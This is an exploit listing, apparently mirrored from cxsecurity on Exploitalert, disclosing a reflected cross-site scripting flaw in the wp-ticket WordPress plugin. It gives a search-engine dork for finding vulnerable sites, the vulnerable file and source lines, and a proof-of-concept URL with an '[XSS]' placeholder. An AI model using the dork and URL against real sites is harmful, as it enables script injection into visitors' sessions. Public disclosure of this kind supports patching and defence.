Advertisement


Looking for a fix? Check your Codebase security with multiple scanners from Scanmycode.today


Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010104

Below is a copy:

wp-ticket - wordpress plugin - Cross-Site-Scripting
[-] Title : wp-ticket - wordpress plugin - Cross-Site-Scripting
[-] Author : Abolfazl Feyz
[-] Vendor : https://github.com/wp-plugins/wp-ticket/archive/master.zip
[-] Dork : inurl:wp-content/plugins/wp-ticket-master/
[-] date : 9.January.2021

------------------------------------
Vulnerable page:
/wp-content/plugins/wp-ticket-master/assets/ext/zebraform/process.php
------------------------------------

---------------------------------------------------
Vulnerable source:
Line188 : $form = $_GET['form']; 
Line217 : echo echo $form; 
----------------------------------------------------

--------------------------------------------------------
POC :
http://site.com/wp-content/plugins/wp-ticket-master/assets/ext/zebraform/process.php?form=[XSS]

======================================
=          cantact me                =
= Telegram ==> Mr_ramkal             =
= instagram ==> aboolfazl_feyz       =
= email ==> [email protected]   =
======================================

Copyright ©2021 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.